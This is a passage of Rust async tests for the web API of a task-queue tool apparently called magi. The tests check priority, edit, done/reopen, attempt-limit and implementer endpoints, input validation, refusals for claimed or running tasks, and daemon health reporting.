18643    #[tokio::test]
18644    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18645        let f = Fixture::start().await;
18646        let q = f.queue();
18647        let mut t = Task::new(
18648            "immediate API".into(),
18649            "unchanged".into(),
18650            PathBuf::from("/repo/magi"),
18651            Source::Human,
18652        );
18653        t.attempts = 2;
18654        t.priority = 9;
18655        t.interrupt = true;
18656        t.urgent = true;
18657        t.hold_reason = Some("waiting for approval".into());
18658        for status in [TaskStatus::Queued, TaskStatus::Held] {
18659            t.status = status;
18660            q.put(&mut t).unwrap();
18661            for immediate in [true, true, false, false] {
18662                let response = f
18663                    .post(
18664                        &format!("/api/queue/{}/immediate", t.short()),
18665                        Some(&format!("{{\"immediate\":{immediate}}}")),
18666                    )
18667                    .await;
18668                assert_eq!(response.status, 200, "{}", response.body);
18669                let payload = response.json();
18670                assert_eq!(payload["immediate"], immediate);
18671                assert_eq!(payload["urgent"], true);
18672                if immediate {
18673                    assert_eq!(payload["admission"]["mode"], "immediate");
18674                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18675                    assert!(
18676                        !label.contains("claimed by another process"),
18677                        "mutate must drop its claim before computing admission: {payload}"
18678                    );
18679                    if status == TaskStatus::Held {
18680                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18681                    }
18682                }
18683                let saved = q.get(&t.id).unwrap();
18684                let mut before = serde_json::to_value(&t).unwrap();
18685                let mut after = serde_json::to_value(saved).unwrap();
18686                before["immediate"] = immediate.into();
18687                before.as_object_mut().unwrap().remove("updated_at");
18688                after.as_object_mut().unwrap().remove("updated_at");
18689                assert_eq!(after, before);
18690            }
18691        }
18692        let route = format!("/api/queue/{}/immediate", t.id);
18693        for body in [
18694            r#"{}"#,
18695            r#"{"immediate":null}"#,
18696            r#"{"immediate":"true"}"#,
18697            r#"{"immediate":1}"#,
18698            r#"{"immediate":true,"extra":false}"#,
18699            "{",
18700        ] {
18701            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18702        }
18703        t.status = TaskStatus::Queued;
18704        q.put(&mut t).unwrap();
18705        let claim = q.claim(&t.id).unwrap();
18706        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18707        assert_eq!(response.status, 409, "{}", response.body);
18708        assert!(!q.get(&t.id).unwrap().immediate);
18709        drop(claim);
18710        for status in [
18711            TaskStatus::Running,
18712            TaskStatus::Done,
18713            TaskStatus::Failed,
18714            TaskStatus::Blocked,
18715            TaskStatus::Parked,
18716        ] {
18717            t.status = status;
18718            q.put(&mut t).unwrap();
18719            for immediate in [true, false] {
18720                let response = f
18721                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18722                    .await;
18723                assert_eq!(response.status, 400, "{}", response.body);
18724                assert!(response.body.contains(status.as_str()));
18725                assert!(response.body.contains("queued or held"));
18726                assert!(!q.get(&t.id).unwrap().immediate);
18727            }
18728        }
18729        assert_eq!(
18730            f.post(
18731                "/api/queue/missing/immediate",
18732                Some(r#"{"immediate":true}"#)
18733            )
18734            .await
18735            .status,
18736            404
18737        );
18738    }
18739
18740    #[tokio::test]
18741    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18742        let f = Fixture::start().await;
18743        let queue = f.queue();
18744        let mut older = Task::new(
18745            "filed first".to_owned(),
18746            "x".to_owned(),
18747            PathBuf::from("/repo/magi"),
18748            Source::Human,
18749        );
18750        older.id = "20260101-000001-aaaa".to_owned();
18751        let mut newer = Task::new(
18752            "filed second".to_owned(),
18753            "x".to_owned(),
18754            PathBuf::from("/repo/magi"),
18755            Source::Human,
18756        );
18757        newer.id = "20260101-000002-bbbb".to_owned();
18758        queue.put(&mut older).expect("file older");
18759        queue.put(&mut newer).expect("file newer");
18760
18761        // Equal priority: the newer task leads, the same order the old
18762        // newest-first `list()` already gave every equal-priority queue.
18763        let before = f.get("/api/queue").await.json();
18764        assert_eq!(before[0]["id"], newer.id);
18765        assert_eq!(before[1]["id"], older.id);
18766
18767        // Raising the *older* task is the meaningful case: it can only lead
18768        // now because its priority says so, not because it happens to be
18769        // newest.
18770        let raised = f
18771            .post(
18772                &format!("/api/queue/{}/priority", older.id),
18773                Some(r#"{"priority":10}"#),
18774            )
18775            .await;
18776        assert_eq!(raised.status, 200, "{}", raised.body);
18777        assert_eq!(raised.json()["priority"], 10);
18778
18779        let after = f.get("/api/queue").await.json();
18780        let names: Vec<&str> = after
18781            .as_array()
18782            .unwrap()
18783            .iter()
18784            .map(|t| t["id"].as_str().unwrap())
18785            .collect();
18786        // Highest priority first, which is the order next_runnable and
18787        // `magi task list` both use - GET /api/queue must agree with it
18788        // immediately, not just once the loop claims the task.
18789        assert_eq!(names[0], older.id, "the raised task now sorts first");
18790    }
18791
18792    #[tokio::test]
18793    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18794        let f = Fixture::start().await;
18795        let queue = f.queue();
18796        let mut tasks = Vec::new();
18797        for id in [
18798            "20260101-000001-aaaa",
18799            "20260101-000002-bbbb",
18800            "20260101-000003-cccc",
18801        ] {
18802            let mut task = Task::new(
18803                id.into(),
18804                "x".into(),
18805                PathBuf::from("/repo/magi"),
18806                Source::Human,
18807            );
18808            task.id = id.into();
18809            queue.put(&mut task).unwrap();
18810            tasks.push(task);
18811        }
18812        assert_eq!(
18813            queue.next_runnable().unwrap().id,
18814            tasks[0].id,
18815            "equal priorities use ascending id"
18816        );
18817        let route = format!("/api/queue/{}/priority", tasks[2].id);
18818        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18819        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18820        tasks[1].start("upgrade-run".into());
18821        tasks[1].park("upgrade");
18822        tasks[1].record_pass_at(
18823            "upgrade-run",
18824            0,
18825            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18826            1,
18827            Some(crate::run::ParkCause::Upgrade {
18828                from: "old".into(),
18829                to: None,
18830            }),
18831        );
18832        queue.put(&mut tasks[1]).unwrap();
18833        let rows = f.get("/api/queue").await.json();
18834        let upgrade = rows
18835            .as_array()
18836            .unwrap()
18837            .iter()
18838            .find(|row| row["id"] == tasks[1].id)
18839            .unwrap();
18840        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18841        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18842        tasks[2] = queue.get(&tasks[2].id).unwrap();
18843        tasks[2].start("running-run".into());
18844        queue.put(&mut tasks[2]).unwrap();
18845        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18846        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18847    }
18848
18849    #[tokio::test]
18850    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18851        let dir = TempDir::new().unwrap();
18852        let q = Queue::at(dir.path().join("queue"));
18853        let ui = Arc::new(Ui::new(
18854            q.clone(),
18855            Questions::at(dir.path().join("questions")),
18856            Talks::at(dir.path().join("talks")),
18857            dir.path().join("runs"),
18858            dir.path().to_path_buf(),
18859            dir.path().to_path_buf(),
18860        ));
18861        let mut t = Task::new(
18862            "budget".into(),
18863            "keep".into(),
18864            dir.path().into(),
18865            Source::Human,
18866        );
18867        t.attempts = 2;
18868        t.runs.push("prior-run".into());
18869        t.hold_manual(Some("waiting".into()));
18870        q.put(&mut t).unwrap();
18871        let change = |value| {
18872            queue_attempt_limit(
18873                State(ui.clone()),
18874                Path(t.id.clone()),
18875                Ok(Json(AttemptLimitBody {
18876                    attempt_limit: value,
18877                })),
18878            )
18879        };
18880        for value in [
18881            serde_json::json!(3),
18882            serde_json::Value::Null,
18883            serde_json::json!(1),
18884        ] {
18885            let response = change(value.clone()).await.unwrap();
18886            assert_eq!(
18887                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18888                value
18889            );
18890            let saved = q.get(&t.id).unwrap();
18891            assert_eq!(
18892                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18893                value
18894            );
18895            assert_eq!(saved.status, TaskStatus::Held);
18896            assert_eq!(saved.attempts, t.attempts);
18897            assert_eq!(saved.runs, t.runs);
18898            assert_eq!(saved.hold_reason, t.hold_reason);
18899            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18900                .await
18901                .unwrap()
18902                .0;
18903            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18904            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18905            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18906            assert_eq!(outcome.max_attempts, detail.max_attempts);
18907        }
18908        for value in [
18909            serde_json::json!(0),
18910            serde_json::json!(-1),
18911            serde_json::json!(1.5),
18912            serde_json::json!("3"),
18913            serde_json::json!(true),
18914        ] {
18915            assert_eq!(
18916                change(value).await.err().unwrap().status,
18917                StatusCode::BAD_REQUEST
18918            );
18919        }
18920        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18921        let claim = q.claim(&t.id).unwrap();
18922        assert_eq!(
18923            change(serde_json::json!(4)).await.err().unwrap().status,
18924            StatusCode::CONFLICT
18925        );
18926        drop(claim);
18927        for status in [
18928            TaskStatus::Running,
18929            TaskStatus::Done,
18930            TaskStatus::Failed,
18931            TaskStatus::Blocked,
18932            TaskStatus::Parked,
18933        ] {
18934            let mut stored = q.get(&t.id).unwrap();
18935            stored.status = status;
18936            q.put(&mut stored).unwrap();
18937            assert_eq!(
18938                change(serde_json::json!(4)).await.err().unwrap().status,
18939                StatusCode::BAD_REQUEST
18940            );
18941            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18942        }
18943        let mut stored = q.get(&t.id).unwrap();
18944        stored.status = TaskStatus::Queued;
18945        q.put(&mut stored).unwrap();
18946        let _ = change(serde_json::Value::Null).await.unwrap();
18947        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18948    }
18949
18950    #[tokio::test]
18951    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18952        let dir = TempDir::new().unwrap();
18953        let repo = dir.path().join("repo");
18954        std::fs::create_dir(&repo).unwrap();
18955        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18956        let q = Queue::at(dir.path().join("queue"));
18957        let ui = Arc::new(Ui::new(
18958            q.clone(),
18959            Questions::at(dir.path().join("questions")),
18960            Talks::at(dir.path().join("talks")),
18961            dir.path().join("runs"),
18962            dir.path().to_path_buf(),
18963            repo.clone(),
18964        ));
18965        let mut t = Task::new(
18966            "seats".into(),
18967            "keep instruction".into(),
18968            repo,
18969            Source::Human,
18970        );
18971        t.runs.push("prior-run".into());
18972        t.hold_manual(Some("waiting".into()));
18973        q.put(&mut t).unwrap();
18974        let change = |count| {
18975            queue_implementers(
18976                State(ui.clone()),
18977                Path(t.id.clone()),
18978                Ok(Json(ImplementersBody {
18979                    implementers: count,
18980                })),
18981            )
18982        };
18983        for count in [2, 1, 2] {
18984            let response = change(count).await.unwrap();
18985            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18986            let saved = q.get(&t.id).unwrap();
18987            assert_eq!(saved.implementers(), Some(usize::from(count)));
18988            assert_eq!(saved.runs, t.runs);
18989            assert_eq!(saved.instruction, t.instruction);
18990        }
18991        for count in [0, 4] {
18992            assert_eq!(
18993                change(count).await.err().unwrap().status,
18994                StatusCode::BAD_REQUEST
18995            );
18996        }
18997        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18998        let claim = q.claim(&t.id).unwrap();
18999        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19000        drop(claim);
19001        for status in [
19002            TaskStatus::Running,
19003            TaskStatus::Done,
19004            TaskStatus::Failed,
19005            TaskStatus::Blocked,
19006            TaskStatus::Parked,
19007        ] {
19008            let mut stored = q.get(&t.id).unwrap();
19009            stored.status = status;
19010            q.put(&mut stored).unwrap();
19011            assert_eq!(
19012                change(1).await.err().unwrap().status,
19013                StatusCode::BAD_REQUEST
19014            );
19015            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19016        }
19017    }
19018
19019    #[tokio::test]
19020    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19021        let f = Fixture::start().await;
19022        let queue = f.queue();
19023        let mut task = Task::new(
19024            "in flight".to_owned(),
19025            "x".to_owned(),
19026            PathBuf::from("/repo/magi"),
19027            Source::Human,
19028        );
19029        task.start("20260902-140502-bbbb".to_owned());
19030        queue.put(&mut task).expect("file the task");
19031
19032        let res = f
19033            .post(
19034                &format!("/api/queue/{}/priority", task.id),
19035                Some(r#"{"priority":9}"#),
19036            )
19037            .await;
19038        assert_eq!(res.status, 400, "{}", res.body);
19039        assert!(
19040            res.json()["error"]
19041                .as_str()
19042                .is_some_and(|e| e.contains("running")),
19043            "{}",
19044            res.body
19045        );
19046        assert_eq!(
19047            queue.get(&task.id).expect("reload").priority,
19048            0,
19049            "the refused write must not partially apply"
19050        );
19051    }
19052
19053    #[tokio::test]
19054    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19055        let f = Fixture::start().await;
19056        let queue = f.queue();
19057        let mut task = Task::new(
19058            "old title".to_owned(),
19059            "old instruction".to_owned(),
19060            PathBuf::from("/repo/magi"),
19061            Source::Agent {
19062                run: "20260101-000000-beef".to_owned(),
19063                node: "implement".to_owned(),
19064            },
19065        );
19066        task.runs.push("20260101-000000-beef".to_owned());
19067        queue.put(&mut task).expect("file the task");
19068        let created_at = task.created_at;
19069
19070        let edited = f
19071            .post(
19072                &format!("/api/queue/{}/edit", task.id),
19073                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19074            )
19075            .await;
19076        assert_eq!(edited.status, 200, "{}", edited.body);
19077        let body = edited.json();
19078        assert_eq!(body["title"], "new title");
19079        assert_eq!(body["instruction"], "new instruction");
19080        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19081        assert_eq!(body["created_at"], created_at.to_string());
19082        assert_eq!(
19083            body["source"]["kind"], "agent",
19084            "editing a task an agent filed must not turn it human: {body}"
19085        );
19086        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19087
19088        let reloaded = queue.get(&task.id).expect("reload");
19089        assert_eq!(reloaded.title, "new title");
19090        assert_eq!(reloaded.instruction, "new instruction");
19091    }
19092
19093    #[tokio::test]
19094    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19095        // The judge is an agent now: a repo whose only agent answers
19096        // "duplicate" stands in for it, so the refusal is the judge's.
19097        let tmp = TempDir::new().expect("tempdir");
19098        let repo = tmp.path().join("repo");
19099        std::fs::create_dir_all(&repo).expect("repo dir");
19100        let judge = MOCK_AGENT_TOML.replace(
19101            "printf ok",
19102            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19103        );
19104        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19105        let f = Fixture::with_repo(repo.clone()).await;
19106        let queue = f.queue();
19107        let mut owner = Task::new(
19108            "owner".to_owned(),
19109            "review it".to_owned(),
19110            repo.clone(),
19111            Source::Human,
19112        );
19113        owner.review_branch = Some("magi/ab12/A".to_owned());
19114        queue.put(&mut owner).expect("file the owner");
19115        let mut task = Task::new(
19116            "draft".to_owned(),
19117            "old".to_owned(),
19118            repo.clone(),
19119            Source::Human,
19120        );
19121        queue.put(&mut task).expect("file the draft");
19122        let url = format!("/api/queue/{}/edit", task.id);
19123
19124        let refused = f
19125            .post(
19126                &url,
19127                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19128            )
19129            .await;
19130        assert_eq!(refused.status, 409, "{}", refused.body);
19131        let msg = refused.json()["error"]
19132            .as_str()
19133            .unwrap_or_default()
19134            .to_owned();
19135        assert!(
19136            msg.contains("magi/ab12/A") && msg.contains("force"),
19137            "{msg}"
19138        );
19139        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19140
19141        let forced = f
19142            .post(
19143                &url,
19144                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19145            )
19146            .await;
19147        assert_eq!(forced.status, 200, "{}", forced.body);
19148    }
19149
19150    #[tokio::test]
19151    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19152        let f = Fixture::start().await;
19153        let queue = f.queue();
19154        let mut task = Task::new(
19155            "in flight".to_owned(),
19156            "do not touch".to_owned(),
19157            PathBuf::from("/repo/magi"),
19158            Source::Human,
19159        );
19160        task.start("20260902-140502-bbbb".to_owned());
19161        queue.put(&mut task).expect("file the task");
19162
19163        let res = f
19164            .post(
19165                &format!("/api/queue/{}/edit", task.id),
19166                Some(r#"{"title":"x","instruction":"y"}"#),
19167            )
19168            .await;
19169        assert_eq!(res.status, 400, "{}", res.body);
19170        assert!(
19171            res.json()["error"]
19172                .as_str()
19173                .is_some_and(|e| e.contains("running")),
19174            "{}",
19175            res.body
19176        );
19177        assert_eq!(
19178            queue.get(&task.id).expect("reload").instruction,
19179            "do not touch",
19180            "the refused edit must not change the file"
19181        );
19182    }
19183
19184    #[tokio::test]
19185    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19186        let f = Fixture::start().await;
19187        let queue = f.queue();
19188        let mut task = Task::new(
19189            "busy".to_owned(),
19190            "Running right now".to_owned(),
19191            PathBuf::from("/repo/magi"),
19192            Source::Human,
19193        );
19194        queue.put(&mut task).expect("file the task");
19195        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19196
19197        let priority = f
19198            .post(
19199                &format!("/api/queue/{}/priority", task.id),
19200                Some(r#"{"priority":9}"#),
19201            )
19202            .await;
19203        assert_eq!(priority.status, 409, "{}", priority.body);
19204
19205        let edit = f
19206            .post(
19207                &format!("/api/queue/{}/edit", task.id),
19208                Some(r#"{"title":"x","instruction":"y"}"#),
19209            )
19210            .await;
19211        assert_eq!(edit.status, 409, "{}", edit.body);
19212    }
19213
19214    #[tokio::test]
19215    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19216        let f = Fixture::start().await;
19217        let queue = f.queue();
19218        let mut task = Task::new(
19219            "claimed".into(),
19220            "leave unchanged".into(),
19221            f.home.path().into(),
19222            Source::Human,
19223        );
19224        queue.put(&mut task).unwrap();
19225        let _claim = queue.claim(&task.id).unwrap();
19226        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19227            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19228            assert_eq!(missing.status, 404, "{}", missing.body);
19229            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19230
19231            let busy = f
19232                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19233                .await;
19234            assert_eq!(busy.status, 409, "{}", busy.body);
19235            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19236        }
19237        let unchanged = queue.get(&task.id).unwrap();
19238        assert_eq!(unchanged.status, TaskStatus::Queued);
19239        assert!(unchanged.completion_history.is_empty());
19240    }
19241
19242    #[test]
19243    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19244        let home = TempDir::new().unwrap();
19245        let queue = Queue::at(home.path().join("queue"));
19246        let mut current = Task::new(
19247            "stale".into(),
19248            "original".into(),
19249            home.path().into(),
19250            Source::Human,
19251        );
19252        queue.put(&mut current).unwrap();
19253        let expected = current.clone();
19254        current.instruction = "updated".into();
19255        queue.put(&mut current).unwrap();
19256
19257        let mut decision = expected.clone();
19258        decision.status = TaskStatus::Done;
19259        let error = queue
19260            .commit_completion(&mut decision, &expected)
19261            .unwrap_err();
19262        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19263        let saved = queue.get(&current.id).unwrap();
19264        assert_eq!(saved.status, TaskStatus::Queued);
19265        assert_eq!(saved.instruction, "updated");
19266    }
19267
19268    #[tokio::test]
19269    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19270        let f = Fixture::start().await;
19271        let queue = f.queue();
19272        let mut task = Task::new(
19273            "shipped by hand".to_owned(),
19274            "merged outside the loop".to_owned(),
19275            PathBuf::from("/repo/magi"),
19276            Source::Agent {
19277                run: "20260101-000000-b455".to_owned(),
19278                node: "implement".to_owned(),
19279            },
19280        );
19281        task.runs.push("20260101-000000-b455".to_owned());
19282        task.runs.push("20260101-000000-9af4".to_owned());
19283        queue.put(&mut task).expect("file the task");
19284        let created_at = task.created_at;
19285
19286        let done = f
19287            .post(
19288                &format!("/api/queue/{}/done", task.id),
19289                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19290            )
19291            .await;
19292        assert_eq!(done.status, 200, "{}", done.body);
19293        assert_eq!(done.json()["status_str"], "done");
19294
19295        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19296        assert_eq!(
19297            reloaded.runs,
19298            ["20260101-000000-b455", "20260101-000000-9af4"]
19299        );
19300        assert_eq!(
19301            reloaded.source,
19302            Source::Agent {
19303                run: "20260101-000000-b455".to_owned(),
19304                node: "implement".to_owned(),
19305            }
19306        );
19307        assert_eq!(reloaded.created_at, created_at);
19308        let event = reloaded
19309            .completion_history
19310            .last()
19311            .expect("completion audit");
19312        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19313        assert!(event.discard);
19314        assert_eq!(
19315            event.reason.as_deref(),
19316            Some("owner cancelled retained work")
19317        );
19318        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19319        assert_eq!(
19320            detail.json()["completion_history"][0]["occurrence"],
19321            event.occurrence
19322        );
19323    }
19324
19325    #[tokio::test]
19326    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19327        // Explicit discard may close held work without a release; the current
19328        // hold clears while the completion audit preserves its prior status.
19329        let f = Fixture::start().await;
19330        let queue = f.queue();
19331        let mut task = Task::new(
19332            "landed while held".to_owned(),
19333            "x".to_owned(),
19334            PathBuf::from("/repo/magi"),
19335            Source::Human,
19336        );
19337        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19338        queue.put(&mut task).expect("file the held task");
19339
19340        let done = f
19341            .post(
19342                &format!("/api/queue/{}/done", task.id),
19343                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19344            )
19345            .await;
19346        assert_eq!(done.status, 200, "{}", done.body);
19347        assert_eq!(done.json()["status_str"], "done");
19348        assert!(
19349            done.json()["hold_reason"].is_null(),
19350            "a done task cannot still be waiting on something: {}",
19351            done.body
19352        );
19353    }
19354
19355    #[tokio::test]
19356    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19357        // `queue_done` is the phone's way to close a task the loop never
19358        // settled itself - after confirming a manual GitHub merge, say - and
19359        // that is just as much "this task's story is over" as the loop's own
19360        // `Merged`/`Ready` path, so it must trigger the same cleanup.
19361        let f = Fixture::start().await;
19362        let queue = f.queue();
19363        let runs = f.runs();
19364        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19365        // The last attempt has to have actually landed for the earlier one
19366        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19367        // for the case where it didn't.
19368        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19369
19370        let mut task = Task::new(
19371            "landed by hand".to_owned(),
19372            "x".to_owned(),
19373            PathBuf::from("/repo/magi"),
19374            Source::Human,
19375        );
19376        task.runs.push("20260101-000000-doa1".to_owned());
19377        task.runs.push("20260101-000000-doa2".to_owned());
19378        queue.put(&mut task).expect("file the task");
19379
19380        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19381        assert_eq!(done.status, 200, "{}", done.body);
19382
19383        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19384            .expect("run still on disk under this fixture's own home");
19385        assert_eq!(
19386            reloaded_run.status,
19387            RunStatus::Superseded,
19388            "closing the task by hand must relabel the earlier blocked attempt exactly \
19389             like the loop's own settle path does"
19390        );
19391    }
19392
19393    #[tokio::test]
19394    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19395        // Intentional discard preserves unsuccessful runs as unsuccessful:
19396        // closing the task does not claim they were delivered or superseded.
19397        let f = Fixture::start().await;
19398        let queue = f.queue();
19399        let runs = f.runs();
19400        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19401        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19402
19403        let mut task = Task::new(
19404            "closed with nothing actually landed".to_owned(),
19405            "x".to_owned(),
19406            PathBuf::from("/repo/magi"),
19407            Source::Human,
19408        );
19409        task.runs.push("20260101-000000-dob1".to_owned());
19410        task.runs.push("20260101-000000-dob2".to_owned());
19411        queue.put(&mut task).expect("file the task");
19412
19413        let done = f
19414            .post(
19415                &format!("/api/queue/{}/done", task.id),
19416                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19417            )
19418            .await;
19419        assert_eq!(done.status, 200, "{}", done.body);
19420
19421        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19422            .expect("run still on disk under this fixture's own home");
19423        assert_eq!(
19424            reloaded_run.status,
19425            RunStatus::Blocked,
19426            "the last recorded attempt never landed, so the earlier one must not be \
19427             relabelled as superseded by it"
19428        );
19429    }
19430
19431    #[tokio::test]
19432    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19433        let f = Fixture::start().await;
19434        let queue = f.queue();
19435        let mut task = Task::new(
19436            "unstarted".into(),
19437            "keep its history".into(),
19438            PathBuf::from("/repo/magi"),
19439            Source::Human,
19440        );
19441        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19442        task.runs.push("20260101-000000-aud1".into());
19443        queue.put(&mut task).unwrap();
19444        let path = format!("/api/queue/{}/done", task.id);
19445        let refused = f.post(&path, None).await;
19446        assert_eq!(refused.status, 400, "{}", refused.body);
19447        let blank = f
19448            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19449            .await;
19450        assert_eq!(blank.status, 400, "{}", blank.body);
19451        assert!(blank.body.contains("--discard requires a non-empty reason"));
19452        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19453        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19454        let closed = f
19455            .post(
19456                &path,
19457                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19458            )
19459            .await;
19460        assert_eq!(closed.status, 200, "{}", closed.body);
19461        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19462        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19463        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19464        let reopened = f
19465            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19466            .await;
19467        assert_eq!(reopened.status, 200, "{}", reopened.body);
19468        let saved = queue.get(&task.id).unwrap();
19469        assert_eq!(saved.status, TaskStatus::Held);
19470        assert_eq!(saved.completion_history.len(), 2);
19471        let event = &saved.completion_history[1];
19472        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19473        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19474        assert_eq!(event.prior_status, TaskStatus::Done);
19475        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19476    }
19477
19478    #[tokio::test]
19479    async fn unknown_ids_are_json_not_found_on_both_stores() {
19480        let f = Fixture::start().await;
19481
19482        let run = f.get("/api/runs/nosuchrun").await;
19483        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19484
19485        assert_eq!(run.status, 404);
19486        assert_eq!(task.status, 404);
19487        assert!(
19488            run.json()["error"]
19489                .as_str()
19490                .is_some_and(|e| e.contains("run")),
19491            "the error names what was not found: {}",
19492            run.body
19493        );
19494        assert!(
19495            task.json()["error"]
19496                .as_str()
19497                .is_some_and(|e| e.contains("task")),
19498            "the error names what was not found: {}",
19499            task.body
19500        );
19501    }
19502
19503    #[tokio::test]
19504    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19505        let f = Fixture::start().await;
19506
19507        let missing = f.get("/api/health").await.json();
19508        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19509
19510        write_daemon(
19511            f.home.path(),
19512            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19513        );
19514        let stale = f.get("/api/health").await.json();
19515        assert_eq!(
19516            stale["daemon"]["running"], false,
19517            "a minute without a heartbeat is a dead daemon, not a busy one"
19518        );
19519        assert!(
19520            stale["daemon"]["stale_for_secs"]
19521                .as_i64()
19522                .is_some_and(|s| s >= 55),
19523            "staleness is reported so the UI can say how long: {stale}"
19524        );
19525
19526        write_daemon(f.home.path(), Timestamp::now());
19527        let fresh = f.get("/api/health").await.json();
19528        assert_eq!(fresh["daemon"]["running"], true);
19529        assert_eq!(fresh["daemon"]["idle"], false);
19530        assert_eq!(fresh["daemon"]["pid"], 4242);
19531        assert_eq!(fresh["daemon"]["completed"], 7);
19532        assert_eq!(
19533            fresh["daemon"]["current"][0]["task"],
19534            "20260902-140501-aaaa"
19535        );
19536        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19537    }
19538
19539    #[tokio::test]
19540    async fn the_loop_is_not_running_until_something_starts_it() {
19541        let f = Fixture::start().await;
19542
19543        let view = f.get("/api/loop").await.json();
19544        assert_eq!(view["running"], false);
19545        assert_eq!(
19546            view["owned"], false,
19547            "nobody owns a loop that does not exist: {view}"
19548        );
19549        assert_eq!(view["stopping"], false);
19550        assert_eq!(view["last_error"], Value::Null);
19551        assert_eq!(view["daemon"]["running"], false);
19552        assert_eq!(
19553            view["repo"], "/repo/magi",
19554            "the repository a start would use, named before it is started"
19555        );
19556    }
19557
19558    #[tokio::test]
19559    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19560        let f = Fixture::start().await;
19561
19562        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19563        assert_eq!(res.status, 200, "{}", res.body);
19564        let view = res.json();
